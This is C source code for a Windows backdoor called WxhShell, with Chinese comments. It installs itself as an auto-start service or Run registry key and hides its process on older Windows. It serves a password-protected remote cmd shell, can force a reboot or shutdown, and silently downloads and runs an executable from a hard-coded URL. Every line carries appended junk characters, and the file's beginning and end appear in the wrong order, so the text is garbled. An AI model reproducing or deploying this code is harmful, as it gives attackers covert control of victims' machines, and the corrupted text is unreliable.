    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); iII=;:p  
    if(Boot(SHUTDOWN)) _I@9HC 4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0AZ")<^~7  
    else { c3 jx+Q  
    closesocket(wsh);  .E`\MtA  
    ExitThread(0); pT=JP> nd^  
    } f .Q\Z'S^  
    break; &J[:awQX  
    } \-h%O jf4  
  // 获取shell W>) M5t4i  
  case 's': { &"yx<&c}  
    CmdShell(wsh); L2\#w<d  
    closesocket(wsh); r_ I5. gK  
    ExitThread(0); ULs\+U  
    break; OI|[roMK  
  } U#lCj0iUt,  
  // 退出 S\:P-&dC  
  case 'x': { GeyvId03H  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ]<ldWL  
    CloseIt(wsh); zr-*$1eu  
    break; 6 Q%jA7  
    } r)y=lAyF>  
  // 离开  7''??X  
  case 'q': { Sc\*W0m  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ZGexdc%  
    closesocket(wsh); C'9Cr}cZ.  
    WSACleanup(); @:+8?qcP  
    exit(1); *=8JIs A>!  
    break; .YhA@8nc~l  
        } 5eLtCsHz  
  } '~5LY!H(pT  
  } m8A#~i .  
PQy4{0 _  
  // 提示信息 <^&ehy:7y  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #eoome2Q  
} ;Y 00TGU  
  } nCUg ,;_=  
9B{k , 1  
  return; c/D+|X*  
} SW H2  
zwhe  
// shell模块句柄 ?M8dP%&r  
int CmdShell(SOCKET sock) 6Y^23W F  
{ &-;4.op  
STARTUPINFO si; !\-{D$E?H  
ZeroMemory(&si,sizeof(si)); ,vr? 2k  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; g2BHHL;`  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; SEo'(-5  
PROCESS_INFORMATION ProcessInfo; Z/W:97M  
char cmdline[]="cmd"; <`.X$r*  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 51#_Vg  
  return 0; )F}F_Y  
} U_Vs.M.p  
ZGBd%RWjG_  
// 自身启动模式 $|L Sx  
int StartFromService(void) $:8x(&+/@  
{ 0]'7_vDs|  
typedef struct (jnQ -  
{ 5y d MMb  
  DWORD ExitStatus; rV2WnAb[H&  
  DWORD PebBaseAddress; MDnKX?Y  
  DWORD AffinityMask; ?Y$JWEPJ  
  DWORD BasePriority; iJ-23_D  
  ULONG UniqueProcessId; {o)Lc6T8s  
  ULONG InheritedFromUniqueProcessId; ERUz3mjA/  
}   PROCESS_BASIC_INFORMATION; Vy6qbC-Kt  
t#V!8EpBg  
PROCNTQSIP NtQueryInformationProcess; sQ=]NF)\  
sGi"rg#  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 9Z|jxy  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ]GMe \n  
Z 8S\@I  
  HANDLE             hProcess; O [\i E5+$  
  PROCESS_BASIC_INFORMATION pbi; 4qO+_!x{)  
J28M@cn  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); mi=Q{>rb  
  if(NULL == hInst ) return 0; ? }Z1bH  
} K7#Q  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Pnk5mK$  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); xmNB29#  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); bENdMH";  
>NO[UX%yP  
  if (!NtQueryInformationProcess) return 0; o@r7 n>G  
}d[ kxo  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ?274uAO'  
  if(!hProcess) return 0; i{Uc6 R6  
8Ry3`ct  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; y_'Ub{w  
 Hu^1[#  
  CloseHandle(hProcess); h2)yq:87  
g9m-TkNk  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); I.WvLLK2  
if(hProcess==NULL) return 0; cCSs  
\(3y7D  
HMODULE hMod; aKV$pC<[o  
char procName[255]; Yab%/z2:  
unsigned long cbNeeded; fsmN)_T  
:<ka3<0%  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); A|CmlAW~^  
@y e4q.m  
  CloseHandle(hProcess); Eav[/cU  
!!qK=V|>  
if(strstr(procName,"services")) return 1; // 以服务启动 =4vy@7/  
>L|;|X!m9\  
  return 0; // 注册表启动 Y_Eb'*PY  
} \@-@Y  
]O Z5 fd  
// 主模块 [NQOrcAQ  
int StartWxhshell(LPSTR lpCmdLine) qBU-~"2t  
{ 5(Cl1Yse=r  
  SOCKET wsl; E0BMv/r8b  
BOOL val=TRUE; }xKP~h'F  
  int port=0; V GL aN%|  
  struct sockaddr_in door; 7wWFr  
=AsEZ)" _  
  if(wscfg.ws_autoins) Install(); osciZ'~  
k=2Lo  
port=atoi(lpCmdLine); Om\o#{D  
,c$,!.r  
if(port<=0) port=wscfg.ws_port; Q.bXM?V)  
H1 2Fw'2  
  WSADATA data; m9)p-1y@5  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Z<U6<{b  
h,QKd>4:CF  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   vrl;"Fm+  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Twh!X*uQ  
  door.sin_family = AF_INET; yhlFFbU  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 5Y?L>QU"  
  door.sin_port = htons(port); U T>s 5C  
ml2_ ]3j!  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ,9?BcD1  
closesocket(wsl); O[# 27_dH  
return 1; X$%'  
} P<oehw'>  
PxF <\pu&  
  if(listen(wsl,2) == INVALID_SOCKET) { | H!28h  
closesocket(wsl); w'L\?pI  
return 1; %mL-$*  
} <Q$@r?Mu]  
  Wxhshell(wsl); Z/Eb:  
  WSACleanup(); !P ~_Dl2d  
jN e`;o  
return 0; k- Q%.o  
NIh:D bE  
} sfLMk E  
_AYXc] 4%  
// 以NT服务方式启动 ,_|]Ufr!a  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) KN$}tCU  
{ Vw[6t>`  
DWORD   status = 0; $Vsk Ew"|M  
  DWORD   specificError = 0xfffffff; ekI2icD  
c?P?yIz6p  
  serviceStatus.dwServiceType     = SERVICE_WIN32; cbeLu'DWB.  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; .e3NnOzyxS  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; `{,Dy!rL  
  serviceStatus.dwWin32ExitCode     = 0; BLN^ <X/  
  serviceStatus.dwServiceSpecificExitCode = 0; C?ulj9=Z  
  serviceStatus.dwCheckPoint       = 0; 6W@UJx}w5  
  serviceStatus.dwWaitHint       = 0; 6cpw~  
CxGx8*<X  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); pkP?i5 ,  
  if (hServiceStatusHandle==0) return; |4 v0:ETb$  
qs|mj}?  
status = GetLastError(); ]"+95*B  
  if (status!=NO_ERROR) wg ^sGKN  
{ XIvn_&d;G  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; +${D  
    serviceStatus.dwCheckPoint       = 0; }>)@WL:q  
    serviceStatus.dwWaitHint       = 0; <$6QDfa#  
    serviceStatus.dwWin32ExitCode     = status; gWrgnlq  
    serviceStatus.dwServiceSpecificExitCode = specificError; nM\eDNK  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); : m)   
    return; 3VI4X  
  } iP@ZM =&wz  
iQ4);du  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; _tSAI  
  serviceStatus.dwCheckPoint       = 0; ;GVV~.7/  
  serviceStatus.dwWaitHint       = 0; .U"8mP=&  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); #Pw2Q  
} {*[\'!d--.  
j>]nK~[ka  
// 处理NT服务事件,比如:启动、停止 aaKN^fi&  
VOID WINAPI NTServiceHandler(DWORD fdwControl) I+Jm>XN  
{ /R~1Zj2&  
switch(fdwControl) 0ge$ p,  
{ |X,|QC*7?  
case SERVICE_CONTROL_STOP: N-jTc?mT~&  
  serviceStatus.dwWin32ExitCode = 0; ?notxE7 ]  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; N;Dni#tQ`  
  serviceStatus.dwCheckPoint   = 0; W3Dc r@Dy  
  serviceStatus.dwWaitHint     = 0; s"9`s_p`d  
  { LVc4CE f  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); fLDg~;3  
  } #?*WPq  
  return; \\{J'j>{f  
case SERVICE_CONTROL_PAUSE: _$wmI/_J M  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ix W@7m  
  break; smdZxFl  
case SERVICE_CONTROL_CONTINUE: \%/#x V  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; y;t6sM@  
  break; A,V\"KU  
case SERVICE_CONTROL_INTERROGATE: zUkN 0  
  break; "Vw m  
}; 1rKlZsZ#*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); AjJURn0`,!  
} nl(WJKq'  
nL$x|}XAcj  
// 标准应用程序主函数 CM<]ZG7  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 'eo KZX+  
{ nB%;S  
G2]4n T  
// 获取操作系统版本 qOSg!aft{Q  
OsIsNt=GetOsVer(); AK= h[2(  
GetModuleFileName(NULL,ExeFile,MAX_PATH); %honO@$  
lc2i`MC  
  // 从命令行安装 fLSXPvm  
  if(strpbrk(lpCmdLine,"iI")) Install(); txZ?=8j_Y  
[zL7Q^~  
  // 下载执行文件 ZunCKc  
if(wscfg.ws_downexe) { pM{nh00[  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) }j2Y5  
  WinExec(wscfg.ws_filenam,SW_HIDE); V?P,&c?84  
} VA"*6F   
:l2g#* c  
if(!OsIsNt) { 4q'B<7{Q  
// 如果时win9x,隐藏进程并且设置为注册表启动 G0`h%  
HideProc(); ~6pr0uyO`  
StartWxhshell(lpCmdLine); MZpK~c1`  
} 3I!?e!y3(  
else K,6b3kk  
  if(StartFromService()) JOb*-q|y  
  // 以服务方式启动 )J_\tv  
  StartServiceCtrlDispatcher(DispatchTable); rQOWLg!"  
else !eAo  
  // 普通方式启动 b{d4xU8'  
  StartWxhshell(lpCmdLine); cXR1grz  
'Q =7/dY3I  
return 0; 7}GK%H-u  
} l" q1?kaVg  
CW)Z[<d8  
OdQT2PA_  
gP-nluq  
=========================================== PN$X N<  
t4q ej  
Z<#hS=eY  
'=E3[0W  
Tzt,/e  
yJsH=5A  
" \X F}?*8  
8K;Y2 #  
#include <stdio.h> y8s!M  
#include <string.h> "c(Sysl.L  
#include <windows.h> `:wvh(  
#include <winsock2.h> ?!=iu!J  
#include <winsvc.h> 9Ew7A(BG_3  
#include <urlmon.h> fa&-. *  
?sBh=Ds  
#pragma comment (lib, "Ws2_32.lib") .}k(L4T|=  
#pragma comment (lib, "urlmon.lib") Um)>2|rp}  
.lBgp=!  
#define MAX_USER   100 // 最大客户端连接数 MlJVeod  
#define BUF_SOCK   200 // sock buffer '~ 4pl0TWc  
#define KEY_BUFF   255 // 输入 buffer 0Rz(|jlbS  
g7CXlT0Q6  
#define REBOOT     0   // 重启 wNNB;n` l  
#define SHUTDOWN   1   // 关机 x|0:P sE  
Bi~:>X\[^6  
#define DEF_PORT   5000 // 监听端口 cBYfXI0`  
QC0!p"  
#define REG_LEN     16   // 注册表键长度 8L5!T6+D&  
#define SVC_LEN     80   // NT服务名长度 C#i UP|7hh  
Cs@ +r  
// 从dll定义API ' )-M\'S$E  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Ch_xyuJ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ]h!`IX  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); BHj\G7,S  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); E2AW7f(/  
V (rr"K+  
// wxhshell配置信息 W3&tJ8*3  
struct WSCFG { -6=<#9R  
  int ws_port;         // 监听端口 ~vgA7E/XV  
  char ws_passstr[REG_LEN]; // 口令 2 ?|gnbE:  
  int ws_autoins;       // 安装标记, 1=yes 0=no a :HNg  
  char ws_regname[REG_LEN]; // 注册表键名 i3mAfDF  
  char ws_svcname[REG_LEN]; // 服务名 h:/1X' 3d  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ^1jk$$f  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 2.Yi( r  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 g):]'  
int ws_downexe;       // 下载执行标记, 1=yes 0=no u>.y:>  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" f+Dn9t  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ~S; Z\  
,xths3.K  
}; uXQ >WI@eF  
Di Or{)a  
// default Wxhshell configuration % do1i W  
struct WSCFG wscfg={DEF_PORT, VjbG(nB?_  
    "xuhuanlingzhe", ~ eN8|SR  
    1, Wv K(G3  
    "Wxhshell", uD>z@J-v  
    "Wxhshell", Y:x/!-  
            "WxhShell Service", N<JHjq  
    "Wrsky Windows CmdShell Service", > %*B`oqo  
    "Please Input Your Password: ", :WXf.+IA  
  1, 7w58L:)B.  
  "http://www.wrsky.com/wxhshell.exe", 6J%iZ  
  "Wxhshell.exe" S7n"3.k  
    }; ^[-> )  
_MYx%Z  
// 消息定义模块 QLb MPS  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 8&}~'4[b[$  
char *msg_ws_prompt="\n\r? for help\n\r#>"; qeaA&(|5  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 0H=9@  
char *msg_ws_ext="\n\rExit."; IlLn4Iw  
char *msg_ws_end="\n\rQuit."; zTCP )x  
char *msg_ws_boot="\n\rReboot..."; MV+i{]  
char *msg_ws_poff="\n\rShutdown..."; 5M?mYNQR/H  
char *msg_ws_down="\n\rSave to "; -S; &Q'Mt  
73DlRt *  
char *msg_ws_err="\n\rErr!"; 3n(*E_n  
char *msg_ws_ok="\n\rOK!"; x3p9GAd#  
(:$9%,x  
char ExeFile[MAX_PATH]; _J"mR]I+  
int nUser = 0; V 4qtaHf  
HANDLE handles[MAX_USER]; C;#" td  
int OsIsNt; G8NRj9k?  
ySruAkw%  
SERVICE_STATUS       serviceStatus; ~8Sqa%F>  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 3sC: jIp  
` *9EKj  
// 函数声明 N+>'J23d!  
int Install(void); I]sqi#h$2W  
int Uninstall(void); &|z544  
int DownloadFile(char *sURL, SOCKET wsh); MTB@CP!u  
int Boot(int flag); h=f6~5l5  
void HideProc(void); P06 . 1  
int GetOsVer(void); \|{*arS  
int Wxhshell(SOCKET wsl); 5LMj!)3  
void TalkWithClient(void *cs); 0_V*B[V  
int CmdShell(SOCKET sock); >6K4b/.5w  
int StartFromService(void); 'jbMTI  
int StartWxhshell(LPSTR lpCmdLine); ` !kL1oUYE  
S1C^+Sla]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); r } 7:#XQ  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); S_T  
FH -p!4+]  
// 数据结构和表定义 ;l`X!3  
SERVICE_TABLE_ENTRY DispatchTable[] = a#R %8)  
{ m3%ef  
{wscfg.ws_svcname, NTServiceMain}, n `#+L~X  
{NULL, NULL} )=(n/vckM  
}; '^lUL) R  
qnTi_c  
// 自我安装 gL,"ef+nM  
int Install(void) )6C`&Mj  
{ Z]e4pR6!  
  char svExeFile[MAX_PATH]; hwZ6 .  
  HKEY key; toN  
  strcpy(svExeFile,ExeFile); z qO$  
^OjvL6 A/p  
// 如果是win9x系统,修改注册表设为自启动 !Pe1o-O  
if(!OsIsNt) { ]g7HEB.Y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { XL?A w  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Dwk$CJb3-  
  RegCloseKey(key); IKtiR8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { aC}vJ93i  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); yj]ML:n  
  RegCloseKey(key); D;J|eC>^  
  return 0; w+3>DEfz  
    } zdT->%  
  } @?j@yRe  
} s.bT[0Vl  
else { kYmo7  
Bd.Z+#%l"  
// 如果是NT以上系统,安装为系统服务 j& <tdORT  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); U"/yB8!W  
if (schSCManager!=0) QQSH +  
{ qYDj*wqf  
  SC_HANDLE schService = CreateService L;nZ0)@@l  
  ( +i_'gDy$  
  schSCManager, dp33z"<3  
  wscfg.ws_svcname, J]$er0`LY  
  wscfg.ws_svcdisp, ;7wwY$PBH  
  SERVICE_ALL_ACCESS, !k%l+I3J[  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , (v|ixa  
  SERVICE_AUTO_START, DXt]b,  
  SERVICE_ERROR_NORMAL, ef^Cc)S-Q  
  svExeFile, P}+2>EU  
  NULL, -??!@R7V  
  NULL, rL.<Z@ -  
  NULL, ze*&*csO  
  NULL, ,*q#qW!!  
  NULL Dl>*L  
  ); d*]Dv,#X  
  if (schService!=0) u'#`yTB6b  
  { AlA h S<  
  CloseServiceHandle(schService); }g%KvYB_  
  CloseServiceHandle(schSCManager); C+X)">/+L  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); v; je<DT  
  strcat(svExeFile,wscfg.ws_svcname); 3D]2$a_d  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Jslk  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); uWJ#+XK.  
  RegCloseKey(key); iMP*]K-O  
  return 0; 1}i&HIr!b  
    } \[@Q}k[  
  } ?Ry%c6(}  
  CloseServiceHandle(schSCManager); 7}2sIf[I  
}  #a|6Q 8  
} Z?!JV_K  
))%@@l[  
return 1; 2rPcNh9  
} ?Zc/upd:$N  
Qs}/x[I  
// 自我卸载 c9Y2eetO  
int Uninstall(void) [u`17hyX  
{ Q0 uP8I}n  
  HKEY key; Pg!;o= { M  
]7XkijNb  
if(!OsIsNt) { &=+cov(3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { WH pUjyBP  
  RegDeleteValue(key,wscfg.ws_regname); )OW(T^>_'I  
  RegCloseKey(key); 4yJ*85e]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Q:-%3)g<<  
  RegDeleteValue(key,wscfg.ws_regname); `:-@E2  
  RegCloseKey(key); X/- W8  
  return 0; :Y}Y&mA4  
  } t%]^5<+X58  
} (<d&BV-"  
} =Do3#Xe2V  
else { 2$j Ot}  
F_p3:l  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); lRa 3v Ng  
if (schSCManager!=0) ]Omb :  
{ w (vE2Y ?  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); #f|NM7  
  if (schService!=0) t?du+:  
  { .pB8=_e:  
  if(DeleteService(schService)!=0) { ] dm1Qm  
  CloseServiceHandle(schService); }rj C_q  
  CloseServiceHandle(schSCManager); ^LEmi1L  
  return 0; ^hl]s?"3  
  } g "K#&  
  CloseServiceHandle(schService); cKi^C  
  } Y^94iOk%T  
  CloseServiceHandle(schSCManager); (_i vN  
} P*0nT  
} M<#)D  
[6&CloY3  
return 1; +s/N@]5nW  
} (A]m=  
d0H  
// 从指定url下载文件 \CJx=[3(  
int DownloadFile(char *sURL, SOCKET wsh) /]MB6E7&  
{ fzkCI  
  HRESULT hr; U&]p!DV&;  
char seps[]= "/"; :EQme0OW  
char *token; Jm);|#y  
char *file; V~J2s  
char myURL[MAX_PATH]; .j:.WnW  
char myFILE[MAX_PATH]; N?2 #YTjR  
<<W.x)#:  
strcpy(myURL,sURL); Qa7S'(  
  token=strtok(myURL,seps); aG8D%i0  
  while(token!=NULL) RaM#@D7  
  { K9I,Q$&xX  
    file=token; '4^V4i  
  token=strtok(NULL,seps); Kt4\&l-De  
  } 4xAlaOw5M  
-'H+lrmv  
GetCurrentDirectory(MAX_PATH,myFILE); R26tQbwE  
strcat(myFILE, "\\"); )QSt7g|OF  
strcat(myFILE, file); ![P(B0Ct/  
  send(wsh,myFILE,strlen(myFILE),0); ]|$$:e^U9  
send(wsh,"...",3,0); |IcxegE  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ,5A>:2 zs  
  if(hr==S_OK) &TkbnDuYd~  
return 0; DKVt8/vq  
else U3 8wGSG  
return 1; "<.  
~4~Tcn  
} ^/d^$  
kO3k| 6f=  
// 系统电源模块 pv m'pu78  
int Boot(int flag) ^; V>}08  
{  4Jk}/_  
  HANDLE hToken; s[B6%DI/5  
  TOKEN_PRIVILEGES tkp; \2<yZCn  
@aD~YtL"n  
  if(OsIsNt) { -SY:qG3?  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); N;ecT@U g  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); WGG) mh&-  
    tkp.PrivilegeCount = 1; GY$?^&OO>  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; h%w\O Z7  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 2E ; %=e  
if(flag==REBOOT) { ='bmjXu  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ;gW|qb+#)j  
  return 0; <9@]|  
} X.AOp  
else { QUw5~n ;-  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) UH^wyK bM  
  return 0; NdSxWrD`m  
} iBiA0 W  
  } e "adkV  
  else { $9_.Q/9>  
if(flag==REBOOT) { ] xLb )Z  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 3F'dT[;  
  return 0; 'TN{8~Gt*  
} L{0OMyUA  
else { :*Ggz|  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) OI}HvgV^!  
  return 0; .9fluAG  
} *,[=}v1  
} cf!k 9x9Z  
4"X>_Nt6  
return 1; 3N%Ev o  
} rnhf(K.{3  
~\}EROb <  
// win9x进程隐藏模块 0(g MR  
void HideProc(void) ^$,kTU'=  
{ }~C ZqIP  
;)]zv\fC  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); lg  
  if ( hKernel != NULL ) geN%rD  
  { z+D,:!yF  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); bfI -!,  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 8oH54bFp  
    FreeLibrary(hKernel); (@o />T  
  } LXF%~^^@d  
99>yaW  
return; Jc?ssm\%  
} V dOd:w  
m.a1  
// 获取操作系统版本 +sluu!~  
int GetOsVer(void) JI,hy <3l0  
{ /aa;M*Qp  
  OSVERSIONINFO winfo; 5XUI7Q%  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); GO3YXO33  
  GetVersionEx(&winfo); QIV~)`;  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) '^(v8lCu  
  return 1; vEp8Hc  
  else [f(^vlK  
  return 0; j2qfEvU  
} sx^? Iw,N'  
h GXD u;{  
// 客户端句柄模块 @VS5Mg8  
int Wxhshell(SOCKET wsl) VEEeQy  
{ H 7F~+ Q-}  
  SOCKET wsh; )t ch>.EQ_  
  struct sockaddr_in client; SfFR  
  DWORD myID; CscJy0dB  
64X#:t+  
  while(nUser<MAX_USER) _-\{kJ  
{ jt r=8OiL  
  int nSize=sizeof(client); <sB45sNbU`  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); NS;8&  
  if(wsh==INVALID_SOCKET) return 1; ^ 6|"=+cO\  
eSBf;lr=  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); QaBXzf   
if(handles[nUser]==0) PQ1NQy8  
  closesocket(wsh); :uDB3jN[  
else }jgAV  
  nUser++; j5^b~F%  
  } !`=?<Fl  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); g|_*(=Q  
:P"Gym  
  return 0; EC#10.  
} Bcon4  
o9\m? ~g!E  
// 关闭 socket bLF0MVLM  
void CloseIt(SOCKET wsh) HbDB?s<  
{ Hv*O9!cC  
closesocket(wsh); 6Ymk8.PF  
nUser--; GTNTx5H  
ExitThread(0); #7ZBbq3=  
} bM3e7olWS  
ra2q. H  
// 客户端请求句柄 F[Sat;Sll  
void TalkWithClient(void *cs) iH0c1}<k$  
{ U.(_n  
h8Si,W 3o  
  SOCKET wsh=(SOCKET)cs; BZshTP[`  
  char pwd[SVC_LEN]; 0pOha(,~  
  char cmd[KEY_BUFF]; >E=a~ O  
char chr[1]; 1<|I[EI  
int i,j; HI 61rXNF  
nHjwT5Q+Q  
  while (nUser < MAX_USER) { uu.Nq*3  
sTyGi1  
if(wscfg.ws_passstr) { xII!2.  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #JucOWxjY  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /WVMT]T6^,  
  //ZeroMemory(pwd,KEY_BUFF); +-d>Sl (  
      i=0; IPR396J+-  
  while(i<SVC_LEN) { heA\6W:u&  
RA/yvr  
  // 设置超时 7yl'!uz)9  
  fd_set FdRead; X ii#Qtd.  
  struct timeval TimeOut; 0in6 z  
  FD_ZERO(&FdRead); |D:0BATRP  
  FD_SET(wsh,&FdRead); d*HAKXd&:j  
  TimeOut.tv_sec=8;  t m?  
  TimeOut.tv_usec=0; bxq`E!]  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); $*R9LPpk+  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 8w' 8n  
t+ ]+Gn  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +i =78  
  pwd=chr[0]; hd-ds~ve  
  if(chr[0]==0xd || chr[0]==0xa) { W9~datIh>  
  pwd=0; O~VUViS6$  
  break; etVE8N'  
  } -bF+uCfba  
  i++; ]3'd/v@fT  
    } !ZW0yCwLQ  
eSU8/9B  
  // 如果是非法用户,关闭 socket `( Gk_VAa  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); dX=^>9hN/  
} [f}1wZ*  
i^l;PvIF  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); < n{9pZ5.  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {5h_$a!TaU  
_guY%2% yR  
while(1) { hlZjk0ez  
J:a^''  
  ZeroMemory(cmd,KEY_BUFF); -(EqBr@_  
{w++)N2sh  
      // 自动支持客户端 telnet标准   x!+ a,+G  
  j=0; @ 2_&ti  
  while(j<KEY_BUFF) { I_rVeMw=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); x&d<IU)5  
  cmd[j]=chr[0]; S0`*  
  if(chr[0]==0xa || chr[0]==0xd) { {PKER$C  
  cmd[j]=0; xT/&'$@{)  
  break; LmE-&  
  } ;D:v@I$I  
  j++; ` g~-5Z~J  
    } mq L+W  
eu =2a>  
  // 下载文件 Lnzhs;7L  
  if(strstr(cmd,"http://")) { ?)&TewP  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); C0M{zGT>}  
  if(DownloadFile(cmd,wsh)) I}X8-WFB  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); f8lww)^,v  
  else 1tDN$rM5  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Syk^7l  
  } };*5+XY^  
  else { QS_u<B  
}73H$ss:  
